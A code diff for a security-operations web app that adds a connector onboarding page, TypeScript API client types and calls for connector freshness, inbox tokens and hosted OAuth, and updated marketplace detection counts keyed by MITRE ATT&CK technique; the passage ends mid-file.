diff --git a/apps/web/src/components/onboarding/OnboardingView.tsx b/apps/web/src/components/onboarding/OnboardingView.tsx
new file mode 100644
index 000000000..8e878b301
--- /dev/null
+++ b/apps/web/src/components/onboarding/OnboardingView.tsx
@@ -0,0 +1,439 @@
+'use client';
+
+import { useEffect, useMemo, useState } from 'react';
+import Link from 'next/link';
+import { useRouter, useSearchParams } from 'next/navigation';
+import { motion } from 'framer-motion';
+import toast from 'react-hot-toast';
+import useSWR from 'swr';
+
+import {
+ AddConnectorModal,
+ CATEGORY_LABEL,
+ CATEGORY_ORDER,
+ MOST_TEAMS_PICK,
+} from '@/components/connectors/AddConnectorModal';
+import { connectorsApi, type ConnectorCatalogEntry } from '@/lib/api';
+import { clsx } from 'clsx';
+
+/**
+ * Dedicated /onboarding surface for first-time tenants.
+ *
+ * The plan calls this out as a separate route from /connectors because the
+ * goals are different: /connectors is an inventory dashboard, while
+ * /onboarding is a getting-started funnel that has to do four things in
+ * order:
+ *
+ * 1. Tell a brand-new operator what they're about to do.
+ * 2. Show them the highest-leverage 8–10 connectors first ("Most teams pick"),
+ * so they don't have to read a 50-row catalog before clicking anything.
+ * 3. Let them pick a category if their tool isn't in the curated row.
+ * 4. Hand them off to the same {@link AddConnectorModal} the rest of the
+ * app uses, including its three-step wizard (pick → configure →
+ * verify-data-flowing) and the AI troubleshooter on test failure.
+ *
+ * Once the tenant already has a connected, healthy connector we collapse
+ * the funnel into a "you're done" state with a link into the main app —
+ * showing the same big picker again would be misleading.
+ */
+export function OnboardingView() {
+ // Catalog drives the hero pills and curated row. Re-using the same SWR
+ // key as the modal lets a single network round-trip serve both surfaces.
+ // `connectorsApi.catalog()` returns a `{ connectors: [...] }` envelope, so
+ // we unwrap to a flat array here for the rest of this component.
+ const { data: catalogData, error: catalogError } = useSWR(
+ 'connectors-catalog',
+ () => connectorsApi.catalog(),
+ { revalidateOnFocus: false },
+ );
+ const catalog: ConnectorCatalogEntry[] | undefined = catalogData?.connectors;
+
+ // Live list of the tenant's existing connector instances. We poll lightly
+ // so once verify-data-flowing flips a connector to "healthy" the
+ // onboarding screen reflects it without a full reload.
+ const { data: existingData, mutate: mutateExisting } = useSWR(
+ 'connectors-list',
+ () => connectorsApi.list(),
+ { refreshInterval: 5000, revalidateOnFocus: false },
+ );
+ const existing = existingData?.connectors;
+
+ const [modalOpen, setModalOpen] = useState(false);
+ // The picker can be primed with a specific connector class so clicking a
+ // "Most teams pick" tile drops the operator straight onto the configure
+ // step for that vendor instead of forcing them to scroll the picker again.
+ const [primedConnectorId, setPrimedConnectorId] = useState<string | null>(null);
+ const [activeCategory, setActiveCategory] = useState<string | null>(null);
+
+ // Reset transient picker state every time the modal closes, so a second
+ // open never starts with a stale connector primed or category pre-selected.
+ // We do this on the falling edge so the modal still sees the correct
+ // primedConnectorId / activeCategory while it's open.
+ useEffect(() => {
+ if (!modalOpen) {
+ setPrimedConnectorId(null);
+ setActiveCategory(null);
+ }
+ }, [modalOpen]);
+
+ // ── OAuth callback landing handler ──────────────────────────────────────
+ //
+ // The hosted OAuth flow (Workstream 2) bounces the operator to
+ // /api/v1/oauth/start → IdP → /api/v1/oauth/callback → here, with one of
+ // two query strings appended to ``return_to``:
+ //
+ // * Success: ``?oauth_success=1&connector_id=…&connector_type=…``
+ // * Error: ``?oauth_error=<code>&oauth_message=<short message>``
+ //
+ // We surface the result as a toast, force-refresh the connector list so
+ // the right-rail counts and "Connected" badges flip immediately, and
+ // strip the query params from the URL so a refresh doesn't re-fire the
+ // toast. We deliberately don't auto-open the modal at the verify step
+ // here — by the time the operator lands back on /onboarding the
+ // connector row already exists and the poller is the source of truth
+ // for whether data is flowing. The Stats row + the next time they open
+ // the picker will both reflect the new connector.
+ const router = useRouter();
+ const searchParams = useSearchParams();
+ useEffect(() => {
+ const success = searchParams.get('oauth_success');
+ const errorCode = searchParams.get('oauth_error');
+ const errorMessage = searchParams.get('oauth_message');
+ const connectorType = searchParams.get('connector_type');
+ if (!success && !errorCode) return;
+
+ if (success === '1') {
+ toast.success(
+ connectorType
+ ? `Connected ${connectorType}. Watching for live events…`
+ : 'Connector OAuth complete.',
+ );
+ void mutateExisting();
+ } else if (errorCode) {
+ toast.error(
+ errorMessage
+ ? `OAuth failed: ${errorMessage}`
+ : `OAuth failed (${errorCode}). Check the connector logs.`,
+ { duration: 8000 },
+ );
+ }
+ // Strip the params so a hard refresh doesn't re-toast and so the URL
+ // looks clean in the address bar. router.replace() preserves
+ // scroll position, which is what we want here.
+ router.replace('/onboarding');
+ // We intentionally re-run only when the search params change.
+ // mutateExisting is stable across renders.
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [searchParams]);
+
+ const popular = useMemo(() => {
+ if (!catalog) return [];
+ const byId = new Map(catalog.map((e) => [e.connector_id, e]));
+ return MOST_TEAMS_PICK.map((id) => byId.get(id)).filter(
+ (e): e is ConnectorCatalogEntry => Boolean(e),
+ );
+ }, [catalog]);
+
+ const categoryCounts = useMemo(() => {
+ const counts: Record<string, number> = {};
+ for (const e of catalog ?? []) {
+ const c = e.category || 'other';
+ counts[c] = (counts[c] ?? 0) + 1;
+ }
+ return counts;
+ }, [catalog]);
+
+ const totalConnectorTypes = catalog?.length ?? 0;
+ const connectedCount = existing?.length ?? 0;
+ // `active` is the frontend ConnectorStatus that maps from backend
+ // `health_status === 'healthy' && is_enabled === true`. That's exactly
+ // what "the connector is sending data we trust" means here.
+ const healthyCount = useMemo(
+ () => (existing ?? []).filter((c) => c.status === 'active').length,
+ [existing],
+ );
+
+ // Treat the tenant as "done with onboarding" once at least one connector
+ // has actually flipped to healthy. A connector in the catalog but stuck
+ // in `pending` doesn't count — they haven't seen data yet, so the funnel
+ // is still relevant.
+ const onboardingComplete = healthyCount > 0;
+
+ const openPicker = (connectorId?: string, category?: string) => {
+ if (connectorId) setPrimedConnectorId(connectorId);
+ if (category) setActiveCategory(category);
+ setModalOpen(true);
+ };
+
+ return (
+ <div className="max-w-5xl mx-auto px-6 py-10">
+ {/* Hero */}
+ <motion.div
+ initial={{ opacity: 0, y: 8 }}
+ animate={{ opacity: 1, y: 0 }}
+ transition={{ duration: 0.25, ease: 'easeOut' }}
+ className="mb-10"
+ >
+ <p className="text-xs uppercase tracking-wider text-blue-400/80 mb-2">
+ Getting started
+ </p>
+ <h1 className="text-3xl font-semibold text-gray-100 mb-3">
+ Connect your first security tool
+ </h1>
+ <p className="text-gray-400 max-w-2xl leading-relaxed">
+ AiSOC pulls signals from the tools you already run and stitches them into a single
+ investigation timeline. Most teams start with their endpoint or identity provider —
+ you can wire up the rest later.
+ </p>
+
+ {/* Snapshot row — gives the operator a sense of progress without
+ looking like a real dashboard. We only show it once we have a
+ catalog so it never flickers in with zeros. */}
+ {totalConnectorTypes > 0 && (
+ <div className="mt-6 grid grid-cols-3 gap-3 max-w-xl">
+ <Stat label="Available" value={totalConnectorTypes} />
+ <Stat label="Connected" value={connectedCount} />
+ <Stat
+ label="Sending data"
+ value={healthyCount}
+ tone={healthyCount > 0 ? 'good' : 'neutral'}
+ />
+ </div>
+ )}
+ </motion.div>
+
+ {/* Done state */}
+ {onboardingComplete && (
+ <motion.div
+ initial={{ opacity: 0, y: 8 }}
+ animate={{ opacity: 1, y: 0 }}
+ transition={{ duration: 0.2 }}
+ className="mb-10 rounded-2xl border border-green-500/20 bg-green-500/5 p-6"
+ >
+ <div className="flex items-start justify-between gap-4">
+ <div>
+ <h2 className="text-lg font-medium text-green-200 mb-1">
+ You&rsquo;re live — events are flowing
+ </h2>
+ <p className="text-sm text-green-200/70">
+ {healthyCount} connector{healthyCount === 1 ? '' : 's'} sending data. Detections,
+ cases, and the assistant are all reading from your live signal now.
+ </p>
+ </div>
+ <Link
+ href="/cases"
+ className="shrink-0 text-sm bg-green-600/90 hover:bg-green-500 text-white px-4 py-2 rounded-lg transition-colors"
+ >
+ Open cases →
+ </Link>
+ </div>
+ </motion.div>
+ )}
+
+ {/* Catalog error */}
+ {catalogError && (
+ <div className="mb-8 text-sm text-red-300 bg-red-500/10 border border-red-500/20 rounded-lg p-4">
+ Failed to load connector catalog. Refresh the page to try again — your existing
+ connectors are unaffected.
+ </div>
+ )}
+
+ {/* Most teams pick */}
+ {popular.length > 0 && (
+ <section className="mb-10">
+ <div className="flex items-baseline justify-between mb-3">
+ <h2 className="text-sm font-medium text-gray-300 uppercase tracking-wider">
+ Most teams pick
+ </h2>
+ <button
+ type="button"
+ onClick={() => openPicker()}
+ className="text-xs text-blue-400 hover:text-blue-300 transition-colors"
+ >
+ Browse all {totalConnectorTypes} connectors →
+ </button>
+ </div>
+ <div className="grid grid-cols-2 sm:grid-cols-3 lg:grid-cols-5 gap-3">
+ {popular.map((entry) => (
+ <PopularTile
+ key={entry.connector_id}
+ entry={entry}
+ onClick={() => openPicker(entry.connector_id)}
+ connected={
+ (existing ?? []).some((c) => c.type === entry.connector_id)
+ }
+ />
+ ))}
+ </div>
+ </section>
+ )}
+
+ {/* Category pills */}
+ {totalConnectorTypes > 0 && (
+ <section className="mb-12">
+ <h2 className="text-sm font-medium text-gray-300 uppercase tracking-wider mb-3">
+ Or browse by category
+ </h2>
+ <div className="flex flex-wrap gap-2">
+ {CATEGORY_ORDER.filter((c) => (categoryCounts[c] ?? 0) > 0).map((c) => (
+ <button
+ key={c}
+ type="button"
+ onClick={() => openPicker(undefined, c)}
+ className={clsx(
+ 'px-3 py-2 rounded-lg text-sm border transition-colors',
+ 'border-gray-800 bg-gray-900 text-gray-200 hover:border-blue-500/40 hover:bg-gray-900/80',
+ activeCategory === c && 'border-blue-500/60 bg-blue-500/10',
+ )}
+ >
+ {CATEGORY_LABEL[c] ?? c}
+ <span className="ml-2 text-xs text-gray-500">{categoryCounts[c]}</span>
+ </button>
+ ))}
+ </div>
+ </section>
+ )}
+
+ {/* Footnote: where to go next once connected */}
+ <section className="mt-12 grid sm:grid-cols-2 gap-4">
+ <NextStepCard
+ title="Bring your own data"
+ body="No connector for your tool? Push raw events into AiSOC over a tenant-scoped HTTPS endpoint."
+ href="/docs/operations/credentials"
+ cta="Push-ingest docs"
+ />
+ <NextStepCard
+ title="Run a detection"
+ body="Already connected? Validate the pipeline end-to-end with a synthetic detection."
+ href="/detections"
+ cta="Open detections"
+ />
+ </section>
+
+ {/* Modal — same wizard the /connectors page uses, primed with the
+ tile the operator clicked so the picker step is essentially
+ skipped for the curated path. */}
+ <AddConnectorModal
+ open={modalOpen}
+ onClose={() => setModalOpen(false)}
+ primedConnectorId={primedConnectorId}
+ activeCategory={activeCategory}
+ onCreated={() => {
+ // Refresh the right-rail counts immediately. The verify step
+ // inside the modal handles its own polling for the green check.
+ void mutateExisting();
+ }}
+ />
+ </div>
+ );
+}
+
+// ─── Pieces ──────────────────────────────────────────────────────────────────
+
+function Stat({
+ label,
+ value,
+ tone = 'neutral',
+}: {
+ label: string;
+ value: number;
+ tone?: 'neutral' | 'good';
+}) {
+ return (
+ <div
+ className={clsx(
+ 'rounded-xl border px-4 py-3',
+ tone === 'good'
+ ? 'border-green-500/20 bg-green-500/5'
+ : 'border-gray-800 bg-gray-900/60',
+ )}
+ >
+ <div className="text-xs text-gray-500 uppercase tracking-wider">{label}</div>
+ <div
+ className={clsx(
+ 'text-2xl font-semibold mt-0.5',
+ tone === 'good' ? 'text-green-200' : 'text-gray-100',
+ )}
+ >
+ {value}
+ </div>
+ </div>
+ );
+}
+
+function PopularTile({
+ entry,
+ onClick,
+ connected,
+}: {
+ entry: ConnectorCatalogEntry;
+ onClick: () => void;
+ connected: boolean;
+}) {
+ // Surface "OAuth one-click" on the tile so the operator knows which curated
+ // picks won't ask them to paste static credentials before they get in.
+ // Mirrors the same emerald palette used inside the modal's picker step so
+ // the visual signal is consistent end-to-end. We hide the badge once the
+ // connector is connected (the "Connected" badge is more useful at that
+ // point) to avoid stacking two badges on a small tile.
+ const supportsHostedOAuth = Boolean(entry.oauth?.supported_in_hosted);
+ return (
+ <button
+ type="button"
+ onClick={onClick}
+ className="group relative text-left rounded-xl border border-gray-800 bg-gray-900/60 hover:bg-gray-900 hover:border-blue-500/40 px-4 py-4 transition-colors"
+ >
+ <div className="flex items-start justify-between gap-2">
+ <div className="min-w-0">
+ <div className="text-sm font-medium text-gray-100 truncate">
+ {entry.connector_name}
+ </div>
+ <div className="text-xs text-gray-500 mt-0.5 capitalize">
+ {CATEGORY_LABEL[entry.category] ?? entry.category}
+ </div>
+ </div>
+ {connected ? (
+ <span
+ className="shrink-0 inline-flex items-center text-[10px] uppercase tracking-wider text-green-300 bg-green-500/10 border border-green-500/20 px-1.5 py-0.5 rounded"
+ title="You already have an instance of this connector"
+ >
+ Connected
+ </span>
+ ) : supportsHostedOAuth ? (
+ <span
+ className="shrink-0 inline-flex items-center text-[10px] uppercase tracking-wider text-emerald-300 bg-emerald-500/10 border border-emerald-500/30 px-1.5 py-0.5 rounded"
+ title="Click-and-connect via OAuth — no API tokens to paste"
+ >
+ OAuth one-click
+ </span>
+ ) : null}
+ </div>
+ {entry.description && (
+ <p className="text-xs text-gray-500 mt-2 line-clamp-2">{entry.description}</p>
+ )}
+ </button>
+ );
+}
+
+function NextStepCard({
+ title,
+ body,
+ href,
+ cta,
+}: {
+ title: string;
+ body: string;
+ href: string;
+ cta: string;
+}) {
+ return (
+ <Link
+ href={href}
+ className="block rounded-xl border border-gray-800 bg-gray-900/40 hover:bg-gray-900 hover:border-blue-500/40 p-5 transition-colors"
+ >
+ <div className="text-sm font-medium text-gray-100 mb-1">{title}</div>
+ <p className="text-sm text-gray-500 mb-3 leading-relaxed">{body}</p>
+ <span className="text-xs text-blue-400 group-hover:text-blue-300">{cta} →</span>
+ </Link>
+ );
+}
diff --git a/apps/web/src/lib/api.ts b/apps/web/src/lib/api.ts
index 58a732b97..75a147616 100644
--- a/apps/web/src/lib/api.ts
+++ b/apps/web/src/lib/api.ts
@@ -1049,6 +1049,32 @@ export interface Connector {
};
/** Cumulative count of events the pre-ingest filter dropped. */
eventsDropped?: number;
+ /**
+ * Timestamp of the most recently *ingested* normalized event.
+ *
+ * Distinct from `lastSync`, which advances on every poll cycle.
+ * `lastEventAt` only advances when an event actually lands — it's
+ * what feeds the freshness-SLO badge in the connectors list and
+ * the onboarding "verify data flowing" screen.
+ */
+ lastEventAt?: string;
+ /** Short label for the most recent event source (e.g. "alert", "audit"). */
+ lastEventKind?: string;
+ /**
+ * Live freshness SLO verdict for the connector instance (Workstream 5).
+ *
+ * The server computes this from ``lastEventAt`` against a per-category
+ * cadence table (5 min for EDR, 15 min for SIEM, etc.) so a single
+ * Splunk that polls slowly doesn't drag the whole fleet to yellow. The
+ * UI badge renders directly from ``status`` — no client-side rule
+ * duplication so a future cadence change ships in one place.
+ */
+ freshness?: {
+ status: 'green' | 'yellow' | 'red' | 'unknown';
+ expected_cadence_seconds: number;
+ seconds_since_last_event: number | null;
+ category: string;
+ };
}
export interface ConnectorsResponse {
@@ -1126,6 +1152,22 @@ interface BackendConnectorResponse {
previous_fingerprint?: string;
} | null;
events_dropped?: number | null;
+ // Workstream 1: distinct from `last_sync` — only advances when a
+ // normalized event actually lands. The verify-data-flowing screen
+ // and freshness-SLO badge both read from here.
+ last_event_at?: string | null;
+ last_event_kind?: string | null;
+ // Workstream 5: freshness SLO computed server-side from ``last_event_at``
+ // against a per-category cadence table. Optional because the API may
+ // omit it for connectors that haven't ingested yet (the server still
+ // emits an ``unknown`` verdict, but defensive null-handling lets the
+ // UI degrade gracefully if the field is ever stripped).
+ freshness?: {
+ status: 'green' | 'yellow' | 'red' | 'unknown';
+ expected_cadence_seconds: number;
+ seconds_since_last_event: number | null;
+ category: string;
+ } | null;
}
/** Aggregated health summary for the connectors fleet (a single tenant). */
@@ -1188,6 +1230,9 @@ function mapBackendConnector(row: BackendConnectorResponse): Connector {
lastSchemaDriftAt: row.last_schema_drift_at ?? undefined,
lastDriftDetails: row.last_drift_details ?? undefined,
eventsDropped: row.events_dropped ?? 0,
+ lastEventAt: row.last_event_at ?? undefined,
+ lastEventKind: row.last_event_kind ?? undefined,
+ freshness: row.freshness ?? undefined,
};
}
@@ -1214,6 +1259,51 @@ export interface TestConnectorPayload {
connector_config?: Record<string, unknown>;
}
+/**
+ * Watermark response polled by the wizard's "verify data flowing" panel.
+ *
+ * The shape mirrors ``LastEventResponse`` from the API service. Note
+ * the field is intentionally distinct from ``last_sync``: ``last_sync``
+ * advances on every poll cycle (including empty polls), while
+ * ``last_event_at`` only advances when a normalized event actually
+ * lands in ``raw_events``. ``data_flowing`` is the server's own
+ * answer to "is data live?" so every client agrees on the rule.
+ */
+export interface ConnectorLastEvent {
+ connector_id: string;
+ last_event_at: string | null;
+ last_event_kind: string | null;
+ events_ingested: number;
+ last_sync: string | null;
+ health_status: string;
+ data_flowing: boolean;
+}
+
+/**
+ * Input to the AI troubleshooter. We intentionally send only the
+ * **keys** of ``auth_config`` (not values) so the backend can hint
+ * about which field to revisit without ever seeing the credential.
+ */
+export interface TroubleshootRequest {
+ connector_type: string;
+ error: string;
+ auth_config_keys?: string[];
+}
+
+/** Structured fix suggestion the wizard renders next to a failed test. */
+export interface TroubleshootResponse {
+ likely_cause: string;
+ fix_steps: string[];
+ doc_link?: string | null;
+}
+
+/** Push-token reveal response. */
+export interface IngestTokenResponse {
+ connector_id: string;
+ ingest_token: string;
+ inbox_url: string;
+}
+
export const connectorsApi = {
/**
* List connector instances for the current tenant.
@@ -1276,6 +1366,42 @@ export const connectorsApi = {
body: JSON.stringify(payload),
}),
+ /**
+ * Ask the AI troubleshooter to classify a failed test.
+ *
+ * Used by the AddConnector wizard immediately after `test` or
+ * `testInline` returns ``success=false``. Renders into the
+ * "Likely cause / fix steps / docs" callout in the modal.
+ */
+ troubleshoot: (payload: TroubleshootRequest) =>
+ request<TroubleshootResponse>('/api/v1/connectors/troubleshoot', {
+ method: 'POST',
+ body: JSON.stringify(payload),
+ }),
+
+ /**
+ * Poll the verify-data-flowing watermark for a connector.
+ *
+ * Distinct from `lastSync`: this only advances when an actual
+ * normalized event lands. Returned even when no event has ever
+ * landed (with `data_flowing=false`) so the polling loop can have
+ * stable shape rather than a 404.
+ */
+ lastEvent: (id: string) =>
+ request<ConnectorLastEvent>(`/api/v1/connectors/${id}/last_event_at`),
+
+ /**
+ * Generate or rotate the per-connector push-ingest token.
+ *
+ * Used by the wizard's "Push (any vendor)" path to surface a
+ * `curl` example. Calling this rotates the token; the previous
+ * one is invalidated immediately.
+ */
+ refreshIngestToken: (id: string) =>
+ request<IngestTokenResponse>(`/api/v1/connectors/${id}/push/refresh`, {
+ method: 'POST',
+ }),
+
delete: (id: string) =>
request<void>(`/api/v1/connectors/${id}`, { method: 'DELETE' }),
@@ -1313,6 +1439,231 @@ export const connectorsApi = {
},
};
+// ─── Universal capture / inbox tokens (Workstream 6) ───────────────────────
+
+/**
+ * Catalog entry for a vendor template the operator can pick when minting
+ * an inbox URL. Mirrors `InboxTemplateInfo` on the API side; the wizard
+ * groups by `category` to keep the picker scannable.
+ */
+export interface InboxTemplate {
+ template_id: string;
+ label: string;
+ description: string;
+ category: string;
+}
+
+/** Existing inbox token row — list view, plaintext token NOT included. */
+export interface InboxTokenListItem {
+ fingerprint: string;
+ template_id: string;
+ label: string | null;
+ has_hmac_secret: boolean;
+ created_at: string;
+ revoked_at: string | null;
+ last_used_at: string | null;
+}
+
+/**
+ * Mint / rotate response. `token` is the plaintext (returned exactly once
+ * at mint or rotate time); `inbox_url` is the absolute URL the operator
+ * pastes into the vendor's webhook config.
+ */
+export interface InboxTokenSecret {
+ token: string;
+ inbox_url: string;
+ template_id: string;
+ label: string | null;
+ has_hmac_secret: boolean;
+ created_at: string;
+ revoked_at: string | null;
+ last_used_at: string | null;
+}
+
+/** Body for `POST /api/v1/inbox/tokens`. */
+export interface MintInboxTokenPayload {
+ template_id: string;
+ label?: string | null;
+ hmac_secret?: string | null;
+}
+
+export const inboxApi = {
+ /** List vendor templates the operator can mint inbox URLs for. */
+ templates: () => request<InboxTemplate[]>('/api/v1/inbox/templates'),
+
+ /** List the calling tenant's inbox tokens (revoked filtered out). */
+ list: (params?: { include_revoked?: boolean }) => {
+ const qs = params?.include_revoked ? '?include_revoked=true' : '';
+ return request<InboxTokenListItem[]>(`/api/v1/inbox/tokens${qs}`);
+ },
+
+ /** Mint a new inbox token. Plaintext returned exactly once. */
+ mint: (payload: MintInboxTokenPayload) =>
+ request<InboxTokenSecret>('/api/v1/inbox/tokens', {
+ method: 'POST',
+ body: JSON.stringify(payload),
+ }),
+
+ /**
+ * Rotate an existing token: mints a new one with the same template / label
+ * / HMAC, revokes the old. Returns the new plaintext exactly once.
+ */
+ rotate: (fingerprint: string) =>
+ request<InboxTokenSecret>(
+ `/api/v1/inbox/tokens/${encodeURIComponent(fingerprint)}/rotate`,
+ { method: 'POST' },
+ ),
+
+ /** Permanently revoke an inbox token. */
+ revoke: (fingerprint: string) =>
+ request<void>(
+ `/api/v1/inbox/tokens/${encodeURIComponent(fingerprint)}`,
+ { method: 'DELETE' },
+ ),
+};
+
+// ─── Hosted OAuth (Workstream 2) ──────────────────────────────────────────────
+
+/**
+ * Per-tenant OAuth client registration, returned by GET / PUT
+ * `/api/v1/oauth/app/{connector_type}`.
+ *
+ * The secret is *never* round-tripped to the browser — only `has_secret`
+ * lets the UI render a "credential present" badge. To rotate the
+ * client_secret, call `oauthApi.upsertApp()` with a fresh value.
+ */
+export interface OAuthAppView {
+ connector_type: string;
+ client_id: string;
+ has_secret: boolean;
+ authorize_url: string | null;
+ token_url: string | null;
+ scopes: string[] | null;
+ created_at: string;
+ updated_at: string;
+}
+
+/**
+ * Payload accepted by `PUT /api/v1/oauth/app/{connector_type}`.
+ *
+ * `authorize_url`, `token_url`, and `scopes` are optional — when omitted,
+ * the backend falls back to the connector class's `OAuthHints` defaults
+ * (e.g. Okta / Azure AD / GitHub).
+ */
+export interface OAuthAppRegistrationPayload {
+ client_id: string;
+ client_secret: string;
+ authorize_url?: string | null;
+ token_url?: string | null;
+ scopes?: string[] | null;
+}
+
+/**
+ * Response from `GET /api/v1/oauth/start?response_mode=json`.
+ *
+ * The default `response_mode=redirect` returns a 302; SPAs that want to
+ * handle the redirect themselves (e.g. open the consent screen in a
+ * popup) call with `response_mode=json` and use this shape.
+ */
+export interface OAuthStartResponse {
+ authorize_url: string;
+ state: string;
+}
+
+/**
+ * Options for `oauthApi.startUrl()` — the helper that builds the
+ * canonical `/api/v1/oauth/start?...` URL the browser navigates to.
+ *
+ * `connector_id` is set when the operator is *re-authing* an existing
+ * connector instance (token expired, scope upgrade); otherwise omit it
+ * and the callback will INSERT a fresh `connectors` row.
+ *
+ * `extras` ride along in the state row and end up in the connector's
+ * `connector_config` after callback (e.g. `organization` for GitHub,
+ * `cloud_id` for Atlassian).
+ */
+export interface OAuthStartOptions {
+ connectorType: string;
+ connectorId?: string;
+ returnTo?: string;
+ name?: string;
+ extras?: Record<string, unknown>;
+}
+
+export const oauthApi = {
+ /**
+ * Fetch the registered OAuth app for a connector class. Returns 404
+ * until the operator has called `upsertApp()` at least once.
+ */
+ getApp: (connectorType: string) =>
+ request<OAuthAppView>(
+ `/api/v1/oauth/app/${encodeURIComponent(connectorType)}`,
+ ),
+
+ /**
+ * Register or rotate the tenant's OAuth client for a connector class.
+ * The backend encrypts `client_secret` at rest via the credential vault.
+ */
+ upsertApp: (
+ connectorType: string,
+ payload: OAuthAppRegistrationPayload,
+ ) =>
+ request<OAuthAppView>(
+ `/api/v1/oauth/app/${encodeURIComponent(connectorType)}`,
+ {
+ method: 'PUT',
+ body: JSON.stringify(payload),
+ },
+ ),
+
+ /** Unregister the tenant's OAuth client for a connector class. */
+ deleteApp: (connectorType: string) =>
+ request<void>(
+ `/api/v1/oauth/app/${encodeURIComponent(connectorType)}`,
+ { method: 'DELETE' },
+ ),
+
+ /**
+ * Build the `/api/v1/oauth/start?...` URL. The caller does
+ * `window.location.assign(oauthApi.startUrl({...}))` to kick off the
+ * hosted OAuth dance — we don't fetch this ourselves because the
+ * server response is a 302 to the provider, not JSON the SPA wants
+ * to parse.
+ *
+ * Returns a same-origin URL so Next.js rewrites can proxy to the API.
+ */
+ startUrl: (opts: OAuthStartOptions): string => {
+ const params = new URLSearchParams();
+ params.set('connector_type', opts.connectorType);
+ if (opts.connectorId) params.set('connector_id', opts.connectorId);
+ if (opts.returnTo) params.set('return_to', opts.returnTo);
+ if (opts.name) params.set('name', opts.name);
+ if (opts.extras && Object.keys(opts.extras).length > 0) {
+ params.set('extras', JSON.stringify(opts.extras));
+ }
+ return `${API_BASE}/api/v1/oauth/start?${params.toString()}`;
+ },
+
+ /**
+ * JSON variant of `startUrl()`: instead of redirecting, the API
+ * returns `{ authorize_url, state }` so a popup-based UX can drive
+ * the consent screen itself.
+ */
+ startJson: (opts: OAuthStartOptions) => {
+ const params: Record<string, string> = {
+ connector_type: opts.connectorType,
+ response_mode: 'json',
+ };
+ if (opts.connectorId) params.connector_id = opts.connectorId;
+ if (opts.returnTo) params.return_to = opts.returnTo;
+ if (opts.name) params.name = opts.name;
+ if (opts.extras && Object.keys(opts.extras).length > 0) {
+ params.extras = JSON.stringify(opts.extras);
+ }
+ return request<OAuthStartResponse>('/api/v1/oauth/start', { params });
+ },
+};
+
// ─── Threat Intel ─────────────────────────────────────────────────────────────
export type IndicatorType = 'ip' | 'domain' | 'hash' | 'url' | 'email';
@@ -2479,6 +2830,8 @@ export default {
cases: casesApi,
metrics: metricsApi,
connectors: connectorsApi,
+ inbox: inboxApi,
+ oauth: oauthApi,
threatIntel: threatIntelApi,
agents: agentsApi,
hunt: huntApi,
diff --git a/marketplace/index.json b/marketplace/index.json
index 29c2f82ad..671bcaf82 100644
--- a/marketplace/index.json
+++ b/marketplace/index.json
@@ -1,7 +1,7 @@
{
- "$schema": "https://aisoc.dev/schemas/marketplace/v1.json",
+ "$schema": "https://example.com/schemas/marketplace/v1.json",
"version": "1.0.0",
- "generated": "2026-05-06T08:25:33Z",
+ "generated": "2026-05-09T01:35:17Z",
"categories": [
{
"id": "playbooks",
@@ -20,20 +20,20 @@
}
],
"stats": {
- "total": 6989,
+ "total": 7038,
"playbooks": 50,
- "detections": 6914,
- "plugins": 25,
- "verified": 875,
+ "detections": 6948,
+ "plugins": 40,
+ "verified": 923,
"community": 0,
"by_tier": {
- "beta": 1,
+ "beta": 2,
"imported": 6113,
- "stable": 875
+ "stable": 923
},
"detections_by_tier": {
"imported": 6113,
- "stable": 801
+ "stable": 835
},
"quarantined": 5937
},
@@ -59,7 +59,7 @@
"T1016": 20,
"T1016.001": 1,
"T1018": 42,
- "T1020": 10,
+ "T1020": 12,
"T1020.001": 1,
"T1021": 26,
"T1021.001": 34,
@@ -144,7 +144,7 @@
"T1069.001": 29,
"T1069.002": 35,
"T1069.003": 4,
- "T1070": 32,
+ "T1070": 34,
"T1070.001": 8,
"T1070.002": 1,
"T1070.003": 13,
@@ -164,7 +164,7 @@
"T1078.001": 10,
"T1078.002": 14,
"T1078.003": 11,
- "T1078.004": 92,
+ "T1078.004": 96,
"T1082": 49,
"T1083": 28,
"T1087": 21,
@@ -180,7 +180,7 @@
"T1098": 87,
"T1098.001": 26,
"T1098.002": 6,
- "T1098.003": 30,
+ "T1098.003": 34,
"T1098.004": 10,
"T1098.005": 7,
"T1098.007": 1,
@@ -199,8 +199,8 @@
"T1113": 16,
"T1114": 6,
"T1114.001": 7,
- "T1114.002": 12,
- "T1114.003": 10,
+ "T1114.002": 16,
+ "T1114.003": 12,
"T1115": 11,
"T1119": 8,
"T1120": 2,
@@ -236,9 +236,9 @@
"T1190": 175,
"T1195": 23,
"T1195.001": 2,
- "T1195.002": 16,
+ "T1195.002": 17,
"T1197": 23,
- "T1199": 13,
+ "T1199": 16,
"T1200": 13,
"T1201": 14,
"T1202": 45,
@@ -252,8 +252,8 @@
"T1210": 13,
"T1211": 4,
"T1212": 8,
- "T1213": 9,
- "T1213.002": 1,
+ "T1213": 10,
+ "T1213.002": 2,
"T1213.003": 5,
"T1216": 14,
"T1216.001": 2,
@@ -285,7 +285,7 @@
"T1484": 13,
"T1484.001": 16,
"T1484.002": 6,
- "T1485": 81,
+ "T1485": 83,
"T1485.001": 2,
"T1486": 26,
"T1489": 37,
@@ -314,12 +314,12 @@
"T1518.001": 7,
"T1525": 9,
"T1526": 11,
- "T1528": 27,
+ "T1528": 28,
"T1529": 16,
- "T1530": 45,
+ "T1530": 46,
"T1531": 20,
"T1535": 5,
- "T1537": 18,
+ "T1537": 23,
"T1538": 1,
"T1539": 7,
"T1542": 1,
@@ -388,7 +388,7 @@
"T1555.003": 15,
"T1555.004": 6,
"T1555.005": 5,
- "T1556": 69,
+ "T1556": 70,
"T1556.001": 1,
"T1556.002": 3,
"T1556.003": 1,
@@ -412,13 +412,13 @@
"T1561.001": 2,
"T1561.002": 4,
"T1562": 28,
- "T1562.001": 126,
+ "T1562.001": 135,
"T1562.002": 13,
"T1562.003": 2,
"T1562.004": 18,
"T1562.006": 4,
- "T1562.007": 7,
- "T1562.008": 29,
+ "T1562.007": 8,
+ "T1562.008": 32,
"T1562.012": 5,
"T1563.002": 4,
"T1564": 14,
@@ -429,12 +429,13 @@
"T1564.006": 3,
"T1564.008": 4,
"T1565": 3,
- "T1565.001": 10,
+ "T1565.001": 11,
"T1565.002": 3,
- "T1566": 28,
+ "T1566": 29,
"T1566.001": 51,
- "T1566.002": 13,
- "T1567": 30,
+ "T1566.002": 14,
+ "T1566.003": 1,
+ "T1567": 32,
"T1567.001": 2,
"T1567.002": 23,
"T1568": 1,
@@ -531,8 +532,8 @@
"T1689": 1,
"T1690": 1
},
- "unique_techniques": 491,
